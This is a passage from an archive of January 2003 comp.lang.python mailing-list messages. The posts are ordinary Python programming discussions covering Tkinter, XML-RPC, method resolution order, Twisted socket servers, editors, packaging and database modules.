c1.foo()          # prints "foo"


> c1.bar()          # prints "bar version 1"

c1.bar()          # prints "bar version 1"

> 
> c2 = C().facet(2) # client2 picks interface2

c2=C_facet2() # client2 picks interface2

> c2.foo()          # prints "foo"
> c2.bar(123)       # prints "bar version 2, arg = 123"

... and so on ...

> EOF
> 
> if a client wants interface 1, then she will get foo and bar (which is 
> actually bar1). if he picks interface 2, then she will get foo and bar 
> (which is actually bar2). for all she cares, she just wants to know/deal 
> with a single [versatile] class, C. and from that single class, she can 
> pick several sets of features/interfaces she needs/wants.
> 
> the above code does what i want to accomplish, but i think it's very 
> ugly. can anyone make it more elegant?

This is exactly that, what inheritance does and is for.

Or am I wrong?

Peter



From pyth at devel.trillke.net  Thu Jan 30 09:25:55 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 30 Jan 2003 15:25:55 +0100
Subject: traditional tk inter problem
In-Reply-To: <cb035744.0301291532.4ac5c1a2@posting.google.com>; from hwlgw@hotmail.com on Wed, Jan 29, 2003 at 03:32:24PM -0800
References: <d232c5e.0301291047.774dbf67@posting.google.com> <cb035744.0301291532.4ac5c1a2@posting.google.com>
Message-ID: <20030130152555.Q10804@prim.han.de>

Will Stuyvesant wrote:
> [Chris Lyon]
> > ... and all I really want to do it plot a graph in a webpage...
> 
> Try this:
> $ python antisulk.py > p.html
> and see whats in there.

nice!  

do you maybe know, if it is possible nowadays to detect the size 
(in pixels) of a browser window? 

    holger




From adfgvx at free.fr  Fri Jan  3 17:48:37 2003
From: adfgvx at free.fr (adfgvx)
Date: Fri, 3 Jan 2003 23:48:37 +0100
Subject: Python wrapper for the tidylib library
Message-ID: <3e161345$0$26181$626a54ce@news.free.fr>

Does anybody has a wrapper to the tidylib library for Python, even a beta
release? I know one exist for Perl. I am currently using mxTidy, but tidylib
seems to have more functionalities.

Thank you

Bruno Lienard





From Yu.Wang at synopsys.com  Thu Jan  2 08:39:08 2003
From: Yu.Wang at synopsys.com (Yu Wang)
Date: Thu, 02 Jan 2003 21:39:08 +0800
Subject: Best Python Editor (under Linux)
In-Reply-To: <3E14386B.2020202@synopsys.com>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <3E14386B.2020202@synopsys.com>
Message-ID: <3E1440FC.2090902@synopsys.com>


Yu Wang wrote:

> I'm using idle and gvim now. But both are not so comfortable. :(
> As the "official" ide, idel behaves rather ... 

                                       ~~~~--> should be "idle", part of 
distribution. ( sorry for the mis-spelling )

>
>
> Once tried pythonworks pro. Good, but expensive.
>
> Maybe I should ask this question too...
>
> Johan wrote:
>
>> Hi,
>>
>> Anyone know some good Python editors under Linux?
>> With good color highlightning... :)
>>
>> I prefer free editors (have seen WingIDE but it isnt free :(...).
>>
>> I hope someone know where i can find some editors :)
>>
>> Looking forward to your replies... :)
>>
>> Regards,
>> Johan
>>  
>>
>

-- 
Best Regards!

Yu Wang






From peter at engcorp.com  Fri Jan 24 17:25:27 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 17:25:27 -0500
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <cf333042.0301232326.582ac37@posting.google.com> <23891c90.0301240929.196ae7bf@posting.google.com> <yyyfzrinz8f.fsf@adams.patriot.net>
Message-ID: <3E31BD57.C4AEDED8@engcorp.com>

Nick Vargish wrote:
> 
> paul at boddie.net (Paul Boddie) writes:
> 
> >   http://groups.google.com/groups?selm=3250033069468718%40naggum.no
> 
> Wow, that was amazing, thanks for pointing it out. I still like XML,
> though. :^)

Yeah, pretty stunning to read.  Or did I mean to say it put me to sleep
partway through?  I forget.

It did sound a lot like Naggum was saying I shouldn't be using XML,
however, but for some reason -- maybe because I'm finding it to be
*so* effective at solving a wide range of problems -- I just can't
get up the energy to adopt his "better" alternatives.... what were
they again?  ;-)

-Peter



From whisper at oz.net  Sat Jan  4 17:48:45 2003
From: whisper at oz.net (David LeBlanc)
Date: Sat, 4 Jan 2003 14:48:45 -0800
Subject: Distributing Python apps
In-Reply-To: <SDIR9.8437$8M3.1412642@news20.bellglobal.com>
Message-ID: <GCEDKONBLEFPPADDJCOEKEDBHCAA.whisper@oz.net>

Taking a quick glance at just Python, I don't think your goal of putting
Python + app + data on a single 1.44mb floppy is realistic.

Python installer on windows is 6+mb.

Installed Python is at least 1+mb just for dll's and libs (not including doc
and examples etc.), of which some parts may not be needed by your app.
Additional specialist dll's and scripts needed by your app not included in
that estimate.

In terms of a download, I'm betting that 2+mb for a runtime only including
application bytes (binaries and doc) is more likely.

I suggest a more practical and realistic goal is to plan on a CD
distribution. It's probably actually cheaper to distribute on CD then on
floppy these days anyway.

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Norman Skrzypinski
> Sent: Saturday, January 04, 2003 13:48
> To: python-list at python.org
> Subject: Re: Distributing Python apps
>
>
>
> David Bolen wrote:
> > I'm assuming Windows since you mention the Visual
> > languages.
>
> Hi, David.
>
> I am developing applications for individuals, not businesses.  (Although,
> some of the financial applications will be useful for small
> businesses on a
> shoestring budget, too.)
>
> I'd like the software to be available to anyone who has a floppy disk and
> access to a computer.  My first target is the largest group,
> Windows users;
> but, I don't want to ignore the people who have Mac and Linux.  To me,
> that's one of the many attractions of Python - everyone can use it.
>
> A rough draft of my first two applications, written in Visual Basic,
> produced .exe files that are 350-460 KB.  The complete application would
> probably be about 750 KB.  A data file, for 12 months, for a typical user,
> would be about 500 KB.  So, the entire app and one year's data
> would easily
> fit on a floppy disk, and could be used at home, school, work, or the
> library.
>
> > While it may not be at the level of the VB "create a installer" sort
> > of thing, I use Gordon McMillan's installer package along with the
> > InnoSetup Windows installer (for typical Windows installation
> > packages) and I find it very easy and capable.  The installer is a
> > simple execution to collect all the appropriate files together, and
> > while you have to do some manual work to create the configuration file
> > for InnoSetup, it's simple enough and no worse than using something
> > like InstallShield with a VC application.
>
> This is what I want ...
>
> To buy: enter the credit card number, download the software.  To install:
> click on the filename, choose the directory for file storage, choose the
> directory for the shortcut.  To use: click on the shortcut.
>
> Downloading and installing Python on every user's machine is not
> acceptable,
> to me.
>
> > Others here will no doubt mention py2exe which is an alternative to
> > Gordon's package.  There are also alternatives to InnoSetup (such as
> > NSIS).
> >
> > If you need more cross-platform support, Gordon's installer does
> > support Linux (you'd skip the InnoSetup step).
> >
> > Of course, you could always use the included distutils support to
> > build a setup file for your package and distribute it that way.  Your
> > targets would need Python but not a developer environment (unless your
> > package includes custom extensions that need compiling, and even then
> > I think you can include the pre-built binaries with your
> > distribution).  This is actually a fairly common way to distribute
> > Python modules, although I can understand your desire for a more
> > standalone approach, particularly for Windows users, as that's what I
> > also do for some of my packages.
> >
> > Any of these seem fairly developer-friendly to at least this
> developer :-)
>
> From one developer to another: Thanks for your thoughtful reply.
>
> > -- David
>
> Norm
>
> PS:  I quite strongly disagree with the nutritional advice given by your
> company.
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list





From dlarnold at west.com  Wed Jan 15 15:21:07 2003
From: dlarnold at west.com (Don Arnold)
Date: 15 Jan 2003 12:21:07 -0800
Subject: Extracting float from string
References: <avvp7s$l1i$1@news.efn.org>
Message-ID: <609dd410.0301151221.27c75482@posting.google.com>

Spencer Ernest Doidge <spencer at efn.org> wrote in message news:<avvp7s$l1i$1 at news.efn.org>...
> From a previous post,
> I got many good solutions to extracting an int from
> 'X= 445 A'.
> 
> Now what about this one?
> Somewhere (we don't know where) in this input string, we expect to find a float:
> ':X=  0.22456  A'
> 
> How can I suck the float out of this one?

This isn't all that pretty, but appears to work:

str = ':X=  0.22456  A 423 12.345 a.b'
for item in [x for x in str.split()]:
    try:
        float(item)
        if item.find('.') != -1:
            print '%s is a float' % item
        else:
            print '%s is not a float but can be converted to one' % item
    except:
        print '%s is not a float' % item
        
>>> 
:X= is not a float
0.22456 is a float
A is not a float
423 is not a float but can be converted to one
12.345 is a float
a.b is not a float

>>> 


HTH,
Don



From raims at dot.com  Tue Jan 21 03:15:30 2003
From: raims at dot.com (Rhymes)
Date: Tue, 21 Jan 2003 09:15:30 +0100
Subject: Python Programming on Win32
References: <44UW9.2018$5K5.112342@news20.bellglobal.com> <KE0X9.10729$m47.35775@news-server.bigpond.net.au>
Message-ID: <8c0q2v8jd9dqb7kp86caghc96425nv8560@4ax.com>

On Tue, 21 Jan 2003 00:39:06 GMT, Mark Hammond
<mhammond at skippinet.com.au> wrote:

>Hopefully yes, and hopefully starting work on it this year.

What it will change in this updated version?

--
Rhymes
news://it.comp.lang
The italian Python (and other languages) NG



From mwh at python.net  Wed Jan 15 11:48:08 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 16:48:08 GMT
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org> <3e159dcc_2@news.bluewin.ch> <mailman.1041622110.1975.python-list@python.org> <3e15fae2$1_2@news.bluewin.ch> <mailman.1041633502.6402.python-list@python.org> <3e161eb2$1_1@news.bluewin.ch> <mailman.1041666668.8010.python-list@python.org>
Message-ID: <7h3d6myqryw.fsf@pc150.maths.bris.ac.uk>

mertz at gnosis.cx (David Mertz) writes:

> OK, I read the thread at:
> 
>     http://mail.python.org/pipermail/python-dev/2002-October/029035.html
> 
> I can now say with absolute certainty that -single- dispatch fills me
> with Fear, Uncertainty, and Doubt.

:)

> Since the BDFL has spoken, I assume 2.3 is going with C3 MRO.  But I
> don't like that.  I think it will be a wart for two reasons.  One is
> that--in contrast to the so-called "naive ordering"--you cannot explain
> C3 to anyone without making their brain explode.

The constraints it preserves aren't that hard.

> In a way, the consequences will be less surprising, but almost no
> one will be able to comprehend exactly what the rule is.  That
> doesn't match my idea of Python (it's not Lisp :-)).

As I see it, the advantages of C3 are that you find out about problems
earlier, rather than when super() doesn't calls an unexpected method
some arbitrary time later.  Seems perfectly Pythonic to me.

> But the idea of raising an error on inconsistencies also strikes me as a
> wart for the same reason that I think the incommensurability of complex
> numbers with other objects is a wart (and Python's biggest wart).

I think you'll have to argue that one with Guido.

Cheers,
M.

-- 
  MARVIN:  What a depressingly stupid machine.
                    -- The Hitch-Hikers Guide to the Galaxy, Episode 7



From abelikov72 at hotmail.com  Sun Jan  5 01:51:56 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sun, 05 Jan 2003 06:51:56 GMT
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk> <3e160151$0$49101$e4fe514c@news.xs4all.nl> <3E1621F2.C9FA1D6F@engcorp.com> <ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com> <av82af$6eu$1@knot.queensu.ca> <20030104212105.22506d99.pythonhda@yahoo.com.replacepythonwithlinux>
Message-ID: <9glf1v49v9920fh2ei8tlhqhrkf45j06ol@4ax.com>

On Sat, 4 Jan 2003 21:21:05 -0500, pythonhda
<pythonhda at yahoo.com.replacepythonwithlinux> wrote:

>for key in d:
>	print key, '=', d[key]
>

Someone please verify this example is incorrect.
Putting the value in a variable named 'key' still
makes it a value, not a key... Right?

Wouldn't this code result in a no-index error on d[key] ?



From david.bear at asu.edu  Thu Jan 30 22:41:48 2003
From: david.bear at asu.edu (David Bear)
Date: Thu, 30 Jan 2003 20:41:48 -0700
Subject: ps interface or module
Message-ID: <b1cr9s$hc5$1@news.asu.edu>

is there a python module or interface to the system process list?  I really 
want to avoid calling ps -ax from a subshell and parsing the output.  I 
can't seem to find anything in the python essential reference.

any pointers?  (running on unix)





From Francois at iecholden.com  Mon Jan  6 21:59:51 2003
From: Francois at iecholden.com (Meehan, Francois)
Date: Mon, 6 Jan 2003 21:59:51 -0500 
Subject: xml-rpc, O'Reilly cookbook example not working???
Message-ID: <7190BF5EB309D511A15600508BF18D83560DF3@exchange.iecholden.com>

Hi all,

In the process of learning Python, I bought the O'Reilly cookbook. I am
curious about xml-rpc, tried the example 13.2 and 13.3, they worked as long
as the client and server were on the same machine. Since rpc stands for
remote procedure, I tried to run with the client and server on different
machines. 

The server does not respond to remote query, did also try telnetting the
ports, always gets "connection failed".

Any ideas?

Here is the first example code: 

# server coder sxr_server.py
# needs Python 2.2 or the XML-RPC package from PythonWare

import SimpleXMLRPCServer

class StringFunctions:
    def __init__(self):
        # Make all of the Python string functions available through
        # python_string.func_name
        import string
        self.python_string = string

    def _privateFunction(self):
        # This function cannot be called directly through XML-RPC because
        # it starts with an underscore character '_', i.e., it's "private"
        pass

    def chop_in_half(self, astr):
        return astr[:len(astr)/2]

    def repeat(self, astr, times):
        return astr * times

if __name__=='__main__':
    server = SimpleXMLRPCServer.SimpleXMLRPCServer(("localhost", 8000))
    server.register_instance(StringFunctions())
    server.register_function(lambda astr: '_' + astr, '_string')
    server.serve_forever()
===========================================================================

Regards,

Francois 




From martin at v.loewis.de  Thu Jan  2 18:05:37 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 03 Jan 2003 00:05:37 +0100
Subject: Extension modules, Threading, and the GIL
References: <ufzsgi9ao.fsf@boost-consulting.com> <20021230145912.GA8481@panix.com> <ud6njfshh.fsf@boost-consulting.com> <ulm27cvdx.fsf@boost-consulting.com> <ausj3l$ipd$0@216.39.172.122> <ausjsg$c6f$07$1@news.t-online.com> <aust1q$9on$0@216.39.172.122> <ausul3$qmc$07$1@news.t-online.com> <aut8lp$61d$0@216.39.172.122> <m3znql2wwk.fsf@mira.informatik.hu-berlin.de> <put81v8satrhqa3cno3d9kh5fhvfuei6gh@4ax.com> <m34r8r5jwr.fsf@mira.informatik.hu-berlin.de> <mailman.1041544280.15758.python-list@python.org>
Message-ID: <m3ptrfrw3i.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip at pobox.com> writes:

> Perhaps a ThreadIdentifier class should be developed as an abstraction of
> the thread id.  Instances of that class would then encapsulate the actual
> identifier returned by the specific thread package being used.  Make
> ThreadIdentifier immutable so you can use it in the aforementioned fake TLS.

The problem is that the result of thread.get_ident() is documented as
"a nonzero integer". It is likely that applications rely on that
property.

Regards,
Martin




From d95-bli at nada.kth.se  Tue Jan  7 09:15:31 2003
From: d95-bli at nada.kth.se (=?iso-8859-1?Q?Bj=F6rn?= Lindberg)
Date: Tue, 07 Jan 2003 15:15:31 +0100
Subject: Annoyance in python-mode for Emacs
Message-ID: <3E1AE103.5168F8C6@nada.kth.se>

(Please tell me if this list inappropriate for issues regarding the
Emacs Python mode.)

I just installed Python-mode 4.29. previously I was using version 3.111.
The new version exihibits a behaviour I find annoying which as I recall
I didn't have trouble with using the older version.

Whenever I evaluate a region or a buffer, the window splits, and the
cursor moves to the new window which contains the python interpreter.
Now, I always work by keeping the interpreter buffer open in it's own
frame and the file buffers in another frame. This means that whenever I
evaluate anything, I have to do "C-x o C-x 1" to restore it, and it
becomes tiresome after a while. I don't think the older python mode did
this.

How can I correct this behaviour?


Bj?rn



From mhearne808 at yahoo.com  Thu Jan 30 13:23:09 2003
From: mhearne808 at yahoo.com (Mike Hearne)
Date: 30 Jan 2003 10:23:09 -0800
Subject: trouble with Pmw.Color.changecolor
References: <6af33541.0301292005.46d7e562@posting.google.com> <mailman.1043903454.24215.python-list@python.org>
Message-ID: <6af33541.0301301023.318c7a41@posting.google.com>

Chad Netzer <cnetzer at mail.arc.nasa.gov> wrote in message news:<mailman.1043903454.24215.python-list at python.org>...
> On Wed, 2003-01-29 at 20:05, Mike Hearne wrote:
> > Hi - According to the documentation, the following should work:
> > 
> > >>> from Tkinter import *
> > >>> import Pmw
> > >>> root = Tk()
> > >>> st = Pmw.ScrolledText(root,hull_width=200,hull_height=200)
> > >>> st.pack()
> > >>> hull = st.component('hull')
> > >>> Pmw.Color.changecolor(hull,background='black',foreground='green')
> > 
> > When I run this (RedHat Linux 8.0, Python 2.2.1, Pmw 1.1), I get a
> > green foreground color, but my background color is still white.
> 
> On the same configuration, it works for me.  It might be some crazy
> XWindows problem (default background color, or some wierd thing).  Can
> you try testing it elsewhere?
> 
> What happens if you set the background color of a Frame just using Tk
> (w/o Pmw)?

Chad - I tried the same thing last night with a Tk Text widget, and it
worked fine.  I can try to test it on my girlfriend's W2k laptop, if
she'll let me install Python on it...:)



From lac at strakt.com  Sat Jan 25 15:16:18 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 25 Jan 2003 21:16:18 +0100
Subject: December 2002 comp.lang.* stats 
In-Reply-To: Message from Peter Hansen <peter@engcorp.com> 
   of "Sat, 25 Jan 2003 14:30:30 EST." <3E32E5D6.82887F98@engcorp.com> 
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com> 
Message-ID: <200301252016.h0PKGIjL002570@ratthing-b246.strakt.com>

> "Aaron K. Johnson" wrote:
> > 
> > A person is what counts as a 'unique poster'. A message ID alone would not
> > measure the 'user base' factor "im interested in.
> > 
> > Spam is still a problem to consider. It's not perfect yet.......
> 
> Spam is probably a problem best ignored.  It would probably
> affect all those groups equally anyway.
> 
> -Peter
> -- 
> http://mail.python.org/mailman/listinfo/python-list

I don't think so.  I predict that spam will effect those newsgroups
which have a mail gateway more than those that do not, unless the
gateway has a sophisticated spam filter.  This one, however, we
can test.

Laura Creighton




From cben at techunix.technion.ac.il  Mon Jan 20 12:14:18 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 20 Jan 2003 19:14:18 +0200
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <v2lo35atotgqf3@news.supernews.com>
References: <mailman.1042817433.6322.python-list@python.org>
 <Pine.GSO.4.44_heb2.09.0301191441590.20859-100000@techunix.technion.ac.il>
 <v2lo35atotgqf3@news.supernews.com>
Message-ID: <Pine.GSO.4.44_heb2.09.0301201905040.21739-100000@techunix.technion.ac.il>

On 2003-01-19, John Roth wrote:

>
> "Beni Cherniavsky" <cben at techunix.technion.ac.il> wrote in message
> news:Pine.GSO.4.44_heb2.09.0301191441590.20859-100000 at techunix.technion.
> ac.il...
> > On 2003-01-17, Tim Peters wrote:
> >
> >
> > > but then I never expected anyone to do
> > >
> > > (f() and [g()] or [h()])[0]
> > >
> > > in real life either <0.5 wink>.
> > >
> > That should be written ``f() and g() else h()`` <wink>.
>
> Actually not. Tim, as usual, has it right. The way
> you wrote it fails if g() evaluates to a false value.
> That's been the standard problem with this construct.
>
The way I wrote it is a syntax error (notice the ``else``).  What I meant
is to suggest the and..else syntax for the properly working ternary
operator, if it's ever added.  Tim's ``<wink>``-s, as usual, are more
clearly visible than mine :-)

> The way Tim has it, [g()] cannot evaluate to a false value. It's always
> a 1 element list which by definition is true.
>
To make it even uglier, I once wrote (on the command line, I don't hold
such horrors in real code :-) this with singleton tuples to make it
faster::

    (f() and (g(),) or (h(),))[0]

Now it's completely unreadable :-).  I frequenlty find myself using lists
instead of tuples only because they are more readable...

("-ly",)["y'rs"]
    Beni Cherniavsky <cben at tx.technion.ac.il>

There is an Excel spreadsheet here.  Do you want to open it? y
There was a grid bug in the spreadsheet.  The grid bug bites.




From andrew-pythonlist at puzzling.org  Sat Jan 18 20:39:59 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sun, 19 Jan 2003 12:39:59 +1100
Subject: socket programming strategy
In-Reply-To: <000601c2bf1d$df4b3540$9e88013d@JeethuRao>
References: <000601c2bf1d$df4b3540$9e88013d@JeethuRao>
Message-ID: <20030119013959.GB8210@frobozz.local>

On Sat, Jan 18, 2003 at 11:47:28PM +0530, Jeethu Rao wrote:
> I've been writing a multi threaded server,
> Can't use select, because there'll be a bit number 
> crunching to do.
> 
> My first stab at it was to use non blocking sockets
> And checking for the WSAEWOULDBLOCK in the exception
> Generated by the socket module. Obviously, it's Win32
> Only and very un portable. So, I started using 
> Timothy O'Malley's timeoutsocket module. But, I'm
> Not quite satisfied (and dissatisfaction is quite a
> Pain in the mind). Today, I hit upon the idea of using
> select() calls inside threads, waiting for just one socket.
> And I believe select() is a lot more efficient than simple
> Busy waiting loops. For Unix, I assume errno.EWOULDBLOCK is
> Quite the same as WSAEWOULDBLOCK.
> 
> Is this plan workable? Or have I missed something?

That sounds workable, I think, but very messy.

If you can chunk your number crunching into smallish pieces, then I'd
recommend using Twisted, and letting it take care of the intracacies of
non-blocking sockets for you.

An example of doing this in Twisted is:

--- longcalc.py ---
from twisted.protocols import basic
from twisted.internet import reactor
from twisted.internet.protocol import ServerFactory

class LongMultiplicationProtocol(basic.LineReceiver):
    """A protocol for doing long multiplications.

    It receives a list of numbers (seperated by whitespace) on a line, and
    writes back the answer.  The answer is calculated in chunks, so no one
    calculation should block for long enough to matter.
    """
    def connectionMade(self):
        self.workQueue = []
        
    def lineReceived(self, line):
        try:
            numbers = map(long, line.split())
        except ValueError:
            self.sendLine('Error.')
            return

        if len(numbers) <= 1:
            self.sendLine('Error.')
            return

        self.workQueue.append(numbers)
        reactor.callLater(0, self.calcChunk)

    def calcChunk(self):
        # Get the first bit of work off the queue
        work = self.workQueue[0]

        # Do a chunk of work: [a, b, c, ...] -> [a*b, c, ...]
        work[:2] = [work[0] * work[1]]

        # If this piece of work now has only one element, send it.
        if len(work) == 1:
            self.sendLine(str(work[0]))
            self.workQueue.pop()
        
        # Schedule this function to do more work, if there's still work to be
        # done.
        if self.workQueue:
            reactor.callLater(0, self.calcChunk)


class LongMultiplicationFactory(ServerFactory):
    protocol = LongMultiplicationProtocol


if __name__ == '__main__':
    from twisted.python import log
    import sys
    log.startLogging(sys.stdout)
    reactor.listenTCP(1234, LongMultiplicationFactory())
    reactor.run()
--- end longcalc.py---

That's less than sixty lines (with some comments and error-handling!), and
it is a complete implementation of a single-threaded non-blocking server
that accepts and processes many simultaneous connections, without blocking
for too long on any of them, by doing the work in pieces.

I've tested this on linux, but Twisted can do this just as well on win32.

-Andrew.





From wyojustin at hotmail.com  Thu Jan  2 20:13:35 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Thu, 2 Jan 2003 20:13:35 -0500
Subject: what do after installing Python2 ?
References: <20030102194349.13948.00000414@mb-cr.news.cs.com>
Message-ID: <avScnQKzV4pdfomjXTWcqQ@comcast.com>

> The documentation is not straight clear
> about how to get started.
> G C

If you installed it from the CD it should be ready to go.  Try,
Start->Programs->Python2.x->IDLE (Python GUI).

Write back if that doesn't work.

Justin






From altis at semi-retired.com  Thu Jan  2 13:36:55 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Thu, 2 Jan 2003 10:36:55 -0800
Subject: GUI-programming
References: <20030101230749.GA4773@r55.studdorf.wh.tu-darmstadt.de> <mailman.1041500703.16262.python-list@python.org>
Message-ID: <UB%Q9.35$DR5.71804@news.uswest.net>

"Laura Creighton" <lac at strakt.com> wrote in message
news:mailman.1041500703.16262.python-list at python.org...
>
> If you mean, 'while I am running my application, I want my users
> to be able to interrupt things by clicking on buttons' then you need
> to thread your application.  The best way to communicate between
> threads is using a Queue object, and
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965
> will show you how to do that.

Actually, I was pleasantly surprised to find that in many cases you can
avoid threads and Queue by using a generator. I reworked the hopalong sample
in PythonCard to take advantage of this.

http://pythoncard.sourceforge.net/samples/hopalong.html

A loop calls the generator function, the generator does a yield, the loop
gives the GUI a chance to process an event like the user clicking on a
Cancel button and then if the cancel button didn't set a flag like
stopDrawing then the loop continues. In most cases I still use threads and
Queue, but for this type of visualization a generator or simply yielding to
the GUI event manager in a loop may be enough. Of course, tkinter might not
have the same capabilities in that regard as wxPython <wink>

ka





From gerhard.haering at opus-gmbh.net  Tue Jan  7 04:03:34 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 7 Jan 2003 09:03:34 GMT
Subject: string.replace() question
References: <pan.2003.01.07.08.58.58.277802.1286@net-es.dk>
Message-ID: <slrnb1l5qp.1c4.gerhard.haering@haering.opus-gmbh.net>

Per Jensen <per at net-es.dk> wrote:

> The Python doc on string.replace says this:
> 
> replace(str, old, new[, maxsplit])
> """Return a copy of string str with all occurrences of substring old
> replaced by new. If the optional argument maxsplit is given,
> the first maxsplit occurrences are replaced."""
> 
> 
> I must have a blind spot, but the method doesn't seem to work quite like
> that. Example:
> 
> bash-2.05$ python
> Python 2.2.1 (#1, Sep 24 2002, 21:50:51)
> [GCC 2.95.3 20010315 (SuSE)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>>>> import string
>>>> string.replace("C:\py21\gallery\resized", "\\", "/")
> 'C:/py21/gallery\resized'
>>>>
> 
> Notice that the last "\" is not replaced with a "/"
> 
> My question is why ?

The backslash is an escape character. Inserting it like this might work, or
again it might not if the following character has a special meaning when
escaped with the backslash, and 'r' is among these.

The solution is to either always escape backslashes with an additional
backslash, so

>>> string.replace("C:\py21\gallery\resized", "\\", "/")

becomes

>>> string.replace("C:\\py21\\gallery\\resized", "\\", "/")

or you can use raw strings (r"..."):

>>> string.replace(r"C:\py21\gallery\resized", "\\", "/")

HTH,

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From godoy at metalab.unc.edu  Tue Jan  7 11:36:38 2003
From: godoy at metalab.unc.edu (Jorge Godoy)
Date: Tue, 07 Jan 2003 14:36:38 -0200
Subject: Python + PostgreSQL
Message-ID: <kp65t0lxwp.fsf@wintermute.casa>

Hi,


I'm new to Python and I'm trying to develop an application that access
a PostgreSQL database. I couldn't find references for database modules
at the Python Reference Library but I found some stuff on Google and
http://techdocs.postgresql.org/oresources.php. Before I start
downloading and building such applications, I'd like to know if
there's something like ADODB or Perl's DBI module for Python that's a
standard for building applications using RDBMS with Python.


Thanks in advance,
-- 
Godoy.     <godoy at metalab.unc.edu>



From andersjm at inbound.dk  Thu Jan  2 14:58:10 2003
From: andersjm at inbound.dk (Anders J. Munch)
Date: Thu, 2 Jan 2003 20:58:10 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e145c1e$0$71692$edfadb0f@dread11.news.tele.dk> <3e146ab0_3@news.bluewin.ch> <oP_Q9.23115$Hl6.2417254@news010.worldonline.dk> <3e14840e$1_3@news.bluewin.ch>
Message-ID: <4S0R9.23646$Hl6.2445570@news010.worldonline.dk>

"Samuele Pedroni" <pedronis at bluewin.ch> wrote:
>
> > Suit yourself.  I have no particular need to convince you; I used the
> > example for illustration, not as evidence.
> >
>
> where's inspector in your reformulation?

Oh, you're right, I read the original to hastily, focused on
next-method and missed the role of the inspector subtype completely.
I'm used to argument types being a mostly-redundant mechanism for
catching errors, not a mechanism for specifying execution semantics.

I'll try again: The specs say:
"However, different types of vehicle inspectors may have different
policies."

def inspect(car, inspector):
    for inspection in vehicle.relevant_inspections():
        if inspector.policy_includes(inspection):
            inspection.perform(vehicle)

My, that was hard.  The lack of multimethods forced me add an entire
if-statement ;-)

- Anders






From stuart at bmsi.com  Fri Jan 10 14:58:33 2003
From: stuart at bmsi.com (Stuart D. Gathman)
Date: Fri, 10 Jan 2003 19:58:33 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org>
Message-ID: <JBFT9.29349$t06.1225766@news2.east.cox.net>

On Fri, 10 Jan 2003 09:41:21 -0500, holger krekel wrote:

> We announce a mailinglist dedicated to developing a "Minimal Python"
> version.  Minimal means that we want to have a very small C-core and as
> much as possible (re)implemented in python itself.  This includes (parts
> of) the VM-Code.

For those who haven't already looked at it, you might get some ideas from
the open source IBM project that is doing the same thing for Java:

http://www.research.ibm.com/jalapeno/

-- 
	      Stuart D. Gathman <stuart at bmsi.com>
Business Management Systems Inc.  Phone: 703 591-0911 Fax: 703 591-6154
"Confutatis maledictis, flamis acribus addictis" - background song for
a Microsoft sponsored "Where do you want to go from here?" commercial.



From theller at python.net  Fri Jan 10 02:47:41 2003
From: theller at python.net (Thomas Heller)
Date: 10 Jan 2003 08:47:41 +0100
Subject: import unknown module name
References: <3e1e165c$0$3013$9b622d9e@news.freenet.de> <avl75m$ml7$1@slb4.atl.mindspring.net>
Message-ID: <d6n5jvj6.fsf@python.net>

Andrew Dalke <adalke at mindspring.com> writes:

> In general, __import__ returns the top-level module,
> and not the submodules.  You'll need to do
> 
>    codepage = getattar(__import__(pagename), "oldpage")
> 
> Also, use "except ImportError" instead of a blanket except.
> 
> If there's more than one level, this should work (untested)
> 
>     codepage = charset
>     terms = pagename.split(".")
>     for term in terms[1:]:
>         codepage = getattr(codepage, term)
> 
> I need this just enough to be annoying ....
> 

Doesn't

      codepage = sys.modules[pagename]

also work? At least no loop needed...

Thomas



From jacob at cd.chalmers.se  Tue Jan  7 17:36:41 2003
From: jacob at cd.chalmers.se (Jacob Hallen)
Date: 7 Jan 2003 22:36:41 GMT
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <S5GS9.5881$qU5.4697503@newssrv26.news.prodigy.com>
Message-ID: <avfkpp$a7n$1@nyheter.chalmers.se>

In article <S5GS9.5881$qU5.4697503 at newssrv26.news.prodigy.com>,
dsavitsk  <dsavitsk at ecpsoftware.com> wrote:
>Sara wrote:
>
>> Recent DICE survey resuts:
>> 
>> 
>>>Number of Job Listings by Programming Language (January 3, 2003)
>>>
>
>>>
>>> Visual Basic 2037        1095     10.07%
>>>
>>> Python       55          32       0.28%
>
>This says nothing, of course. If the ratio of VB people to Python people 
>is 2037 to 54 or greater, then you shouldn't be too worried.  I have no 
>idea what the real numbers are, but I would not be surprised if the 
>disparity was this large.

An interesting thought is wether the 55 Python programmers will produce
